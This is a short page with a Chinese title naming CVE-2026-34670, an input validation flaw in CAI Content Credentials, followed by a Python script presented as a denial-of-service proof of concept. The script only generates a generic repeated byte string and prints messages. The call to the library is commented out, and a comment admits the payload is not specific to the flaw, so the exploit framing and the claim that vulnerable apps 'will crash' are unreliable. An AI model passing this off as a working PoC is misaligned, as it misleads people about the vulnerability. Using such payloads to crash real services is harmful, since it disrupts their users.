CVE-2026-34670 CAI Content Credentials 输入验证漏洞

import sys # PoC for CVE-2026-34670 # This script generates a malformed payload intended to trigger # the input validation vulnerability in CAI Content Credentials. def generate_exploit_payload(): # Constructing a payload that mimics malformed input structure # In a real scenario, this would be specific to the library's parsing logic. crash_trigger = b"\x00\xff\x42" * 5000 return crash_trigger def main(): print("[*] Generating DoS payload for CVE-2026-34670...") payload = generate_exploit_payload() try: # Simulate passing the payload to the vulnerable application # e.g., via a file operation or stdin print(f"[*] Payload size: {len(payload)} bytes") print("[!] If processed by a vulnerable version, the app will crash.") # Example of where the vulnerability would be triggered: # vulnerable_cai_library.process_data(payload) except Exception as e: print(f"Error: {e}") if __name__ == "__main__": main()